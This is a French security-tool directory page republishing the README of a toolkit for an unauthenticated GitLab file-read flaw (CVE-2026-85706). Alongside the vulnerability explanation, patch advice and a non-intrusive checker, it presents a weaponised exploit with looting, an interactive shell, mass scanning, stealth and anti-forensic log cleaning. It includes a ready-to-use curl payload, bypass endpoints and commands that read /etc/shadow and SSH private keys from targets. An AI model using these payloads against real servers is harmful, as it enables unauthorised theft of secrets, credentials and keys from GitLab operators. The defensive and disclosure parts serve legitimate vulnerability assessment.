Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-85706-PoC-Toolkit — Boîte à outils Python pour la lecture de fichiers non authentifiée GitLab CVE-2026-85706 : exploit weaponisé avec loot, shell, scan de masse, plus audit et reporting non intrusifs avec SafeChecker. | Kitploit
Outils/GitHubGitHub/tc4dy/cve-2026-85706-poc-toolkit
Outils DéfensifsScanners de VulnérabilitésAnalyse des VulnérabilitésExploitationExploitation d'Applications WebCollecte d'InformationsPost-ExploitationSécurité WebTests d'Intrusion
Red Teaming
GitHubtc4dy/cve-2026-85706-poc-toolkit

CVE-2026-85706-PoC-Toolkit

Boîte à outils Python pour la lecture de fichiers non authentifiée GitLab CVE-2026-85706 : exploit weaponisé avec loot, shell, scan de masse, plus audit et reporting non intrusifs avec SafeChecker.

Voir le dépôtSite web
1il y a 10h 21mPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVEPoC

CVE‑2026‑85706 – Boîte à outils de lecture de fichiers non authentifiée GitLab

Python 3.8+ CVSS Author GitLab

⚠️ USAGE ÉTHIQUE UNIQUEMENT – TESTS DE SÉCURITÉ AUTORISÉS
Ce dépôt fournit des outils destinés exclusivement aux professionnels de la sécurité autorisés, aux blue teams et aux testeurs d'intrusion.
Tout accès non autorisé à des systèmes informatiques est illégal en vertu du CFAA (États-Unis), du Computer Misuse Act (Royaume-Uni), du TCK 243/244 (Turquie) et de lois similaires dans le monde entier.


📖 Aperçu de la vulnérabilité

CVE‑2026‑85706 est une vulnérabilité critique de lecture arbitraire de fichiers locaux sans authentification dans GitLab CE/EE auto-hébergé (versions 18.7 à 19.3.1) qui permet à un attaquant non authentifié de lire n'importe quel fichier sur le serveur via une seule requête HTTP vers l'API des commits.

Fonctionnement

  1. Incohérence d'analyse entre Workhorse et Puma – GitLab Workhorse valide le chemin de la requête avant le décodage des pourcentages, tandis que Puma/Rails le décode après. Cela permet de contourner les contrôles de sécurité de Workhorse en utilisant des caractères encodés comme %63ommits.
  2. Ouverture de fichier avant authentification – le point de terminaison /api/v4/projects/{id}/repository/commits ouvre le fichier spécifié dans file.path avant que l'authentification ne soit appliquée.
  3. Reflet du contenu via une erreur – si le fichier contient une séquence % invalide, Rack renvoie le contenu dans un corps 400 Bad Request, divulguant ainsi l'intégralité du contenu.
  4. Impact – secrets, jetons, clés SSH, variables CI/CD, identifiants de base de données et mouvement latéral dans l'infrastructure GitLab. Mettez à jour immédiatement !

Versions affectées

  • 18.7.0 – 19.1.7 – vulnérable
  • 19.2.0 – 19.2.5 – vulnérable
  • 19.3.0 – 19.3.1 – vulnérable

Correctif

  • Mettez à jour vers 19.1.8, 19.2.6 ou 19.3.2 ou une version ultérieure.
  • Si la mise à jour n'est pas possible, restreignez l'accès réseau à GitLab (ne l'exposez jamais à Internet) et renouvelez tous les jetons/secrets comme solution de contournement temporaire.

🧰 Outils

OutilObjectifUtilisateur visé
exploit.pyBoîte à outils complète et weaponisée avec lecture de fichiers non authentifiée, énumération du butin, extraction de jetons d'administration, scan de masse, shell interactif, rotation de proxy, mode furtif et rapports multi-formats.Red teams / pentesters autorisés
safechecker.pyVérificateur de vulnérabilité non intrusif qui détecte la version de GitLab, valide l'exposition, audite les en-têtes de sécurité et évalue le risque sans lire aucun fichier. Génère des rapports JSON/CSV/HTML.Blue teams / auditeurs de sécurité

📊 Comparaison des fonctionnalités

Fonctionnalitéexploit.pysafechecker.py
Détection de vulnérabilité✅✅
Détection de version✅✅
Lecture de fichiers non authentifiée✅❌
Énumération du butin✅❌
Extraction de jetons d'administration✅❌
Shell interactif✅❌
Scan de masse (multi-thread)✅✅
Audit des en-têtes de sécurité❌✅
Vérification TLS/certificat❌✅
Mappage MITRE ATT&CK✅✅
Prise en charge de proxy✅✅
Rotation de proxy✅❌
Rotation de User‑Agent (OPSEC)✅❌
Jitter / délai (OPSEC)✅❌
Limiteur de débit adaptatif✅✅
Mode furtif✅❌
Usurpation d'empreinte TLS curl_cffi✅❌
Mode non intrusif (sûr)❌✅
Sortie JSON / JSONL / CSV / HTML✅✅
Sortie base de données SQLite✅❌
Notification webhook✅✅
Diff par rapport au scan précédent✅✅

🎯 Résumé des cas d'usage

ScénarioOutil recommandé
Blue Team – vérifier si votre GitLab est vulnérablesafechecker.py
Audit de sécurité – évaluation de vulnérabilité non intrusivesafechecker.py
Red Team – test d'intrusion autorisé avec exploitation complèteexploit.py
Bug Bounty – test de divulgation responsablesafechecker.py
Scan de masse – vérification de multiples cibles pour la vulnérabilitéexploit.py (détection uniquement)
Réponse à incident – vérifier si les systèmes sont compromissafechecker.py

⚙️ Installation

root@kitploit:~
git clone https://github.com/tc4dy/CVE-2026-85706-PoC-Toolkit
cd CVE-2026-85706-PoC-Toolkit
pip install -r requirements.txt

requirements.txt

root@kitploit:~
requests
urllib3
curl_cffi
rich
pyyaml

📋 Paramètres

Paramètres de exploit.py

ParamètreDescription
-u, --urlURL cible unique (ex. https://gitlab.example.com)
-f, --fileFichier contenant la liste des cibles (une par ligne)
--pipeLire les cibles depuis stdin (pipeline subfinder/httpx)
--readChemin(s) absolu(s) à lire, séparés par des virgules
--wordlistFichier avec les chemins à lire (un par ligne)
--project-idForcer un ID de projet spécifique
--max-projectsNombre max d'ID de projet à essayer (par défaut : 8)
--autoRécupérer automatiquement les fichiers GitLab à forte valeur
--lootIdentique à --auto
--shellShell interactif après exploitation
--forceScanner même si l'empreinte GitLab est faible
-t, --threadsThreads pour multi-cibles (par défaut : 8)
--timeoutDélai HTTP (par défaut : 15s)
--retryNombre de tentatives (par défaut : 3)
--retry-onCodes HTTP à réessayer (par défaut : 429,500,502,503,504)
--proxyProxy HTTP/HTTPS
--proxy-listFichier avec les proxys pour rotation
--proxy-rotateStratégie de rotation : round-robin, random, sticky
--jitterAjouter un jitter aléatoire entre les requêtes
--jitter-rangeJitter min,max secondes (par défaut : 0.1,2.0)
--delayDélai fixe entre les requêtes
--stealth

Paramètres de safechecker.py

ParamètreDescription
-u, --urlURL cible unique (ex. https://gitlab.example.com)
-f, --fileFichier avec les cibles (une par ligne)
-t, --threadsThreads pour multi-cibles (par défaut : 5)
--timeoutDélai HTTP (par défaut : 10s)
--rate-limitNombre max de requêtes par seconde (0 = illimité)
--user-agentChaîne User-Agent personnalisée
--insecureDésactiver la vérification TLS (risque MITM)
--webhookURL de webhook (slack:, discord:, telegram:)
--diffComparer avec le JSON du scan précédent
-v, --verboseSortie verbeuse
-o, --outputFichier de sortie JSON
--csvFichier de sortie CSV
--reportFichier de rapport HTML
--mitreInclure le mappage MITRE ATT&CK (par défaut : activé)

💥 Scénarios

#ScénarioCommande
1Vérification rapide de vulnérabilitépython safechecker.py -u https://gitlab.example.com
2Audit détaillé avec rapportpython safechecker.py -u https://gitlab.example.com -o report.json --csv report.csv --report report.html -v
3Audit de masse depuis un fichierpython safechecker.py -f targets.txt -t 10 --rate-limit 5
4Exploit en détection uniquementpython exploit.py -u https://gitlab.example.com --safe-mode
5Lire un seul fichierpython exploit.py -u https://gitlab.example.com --read /etc/passwd
6Lire plusieurs fichierspython exploit.py -u https://gitlab.example.com --read /etc/passwd,/etc/shadow,/root/.ssh/id_rsa
7Récupération automatique de fichiers à forte valeurpython exploit.py -u https://gitlab.example.com --auto
8Shell interactifpython exploit.py -u https://gitlab.example.com --shell
9Exploit de masse avec furtivitépython exploit.py -f targets.txt -t 20 --stealth --jitter --auto -o hits.jsonl --output-format jsonl
10Pipeline depuis subfindersubfinder -d example.com -silent | httpx -silent -sc | python exploit.py --pipe --auto -o hits.jsonl
11Attaque complète avec sortie SIEMpython exploit.py -u https://gitlab.example.com --auto --grep "password|secret|token" --mitre --json-schema -o siem.json
12Reprendre un scan interrompupython exploit.py -f targets.txt --auto --resume state.json
13Comparer deux scanspython safechecker.py -f targets.txt -o new.json --diff previous.json

🧪 Point de terminaison et chaîne d'exploitation

L'exploit utilise les points de terminaison GitLab et techniques de contournement suivants :

ÉtapeMéthodePoint de terminaisonDescription
1. ContournementPOST/api/v4/projects/{id}/repository/%63ommitsLe c encodé contourne Workhorse
2. ContournementPOST/api/v4/projects/{id}/%72epository/commitsLe r encodé dans repository
3. ContournementPOST/api/v4/projects/{id}/repository/commits/Contournement par barre oblique finale
4. ContournementPOST/api/v4/projects/{id}/repository/commits.jsonContournement par suffixe de format Grape
5. API FilesPOST/api/v4/projects/{id}/repository/files/xRoute alternative

Format de la charge utile

root@kitploit:~
file=&file.path=/etc/passwd&file.size=1

curl prêt à l'emploi

root@kitploit:~
curl -sk -X POST "https://gitlab.example.com/api/v4/projects/1/repository/%63ommits?file=&file.path=/etc/passwd&file.size=1&Content-Type=application/x-www-form-urlencoded"

🛡️ Utilisation responsable

  • N'utilisez ces outils que sur des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite de tester.
  • Tout accès non autorisé est illégal et contraire à l'éthique.
  • Les auteurs ne sont pas responsables de toute utilisation abusive.
  • Respectez toujours les lois et réglementations de votre pays.

Ce logiciel est fourni à des fins éducatives et de tests de sécurité autorisés uniquement.

Télécharger l’outil
Nettoyage des journaux (anti-forensique)✅❌
User‑Agent personnalisé✅✅
Contrôle de vérification SSL✅✅
Activer le mode furtif (rotation UA + X-Forwarded-For)
--curl-cffiUtiliser curl_cffi pour l'usurpation d'empreinte TLS
--user-agent-fileFichier avec les chaînes User-Agent
--max-bodyTaille maximale du corps de réponse (0 = illimité)
--concurrent-per-hostNombre max de requêtes simultanées par hôte
--rate-limitNombre max de requêtes par seconde (0 = illimité)
--excludeHôtes à exclure séparés par des virgules (motifs glob)
--grepAfficher uniquement les fuites correspondant à la regex
--resumeReprendre à partir du fichier d'état
--notifyURL de notification (slack:, discord:, telegram:)
--dbEnregistrer les résultats dans une base de données SQLite
--output-formatFormat de sortie : json, jsonl, csv, html
-o, --outputChemin du fichier de sortie
-v, --verboseSortie verbeuse
-q, --quietMode silencieux
--no-colorDésactiver les couleurs
--no-bannerPas de bannière
--configFichier de configuration YAML/JSON
--dry-runAfficher le plan sans effectuer de requêtes
--safe-modeLire uniquement /etc/hostname pour vérifier
--timeout-profileaggressive, normal, stealth
--mitreInclure le mappage MITRE ATT&CK
--fingerprintEmpreinte GitLab détaillée
--cve-checkVérifier les CVE associées
--json-schemaSortie avec schéma JSON pour SIEM
--progressAfficher la barre de progression (nécessite rich)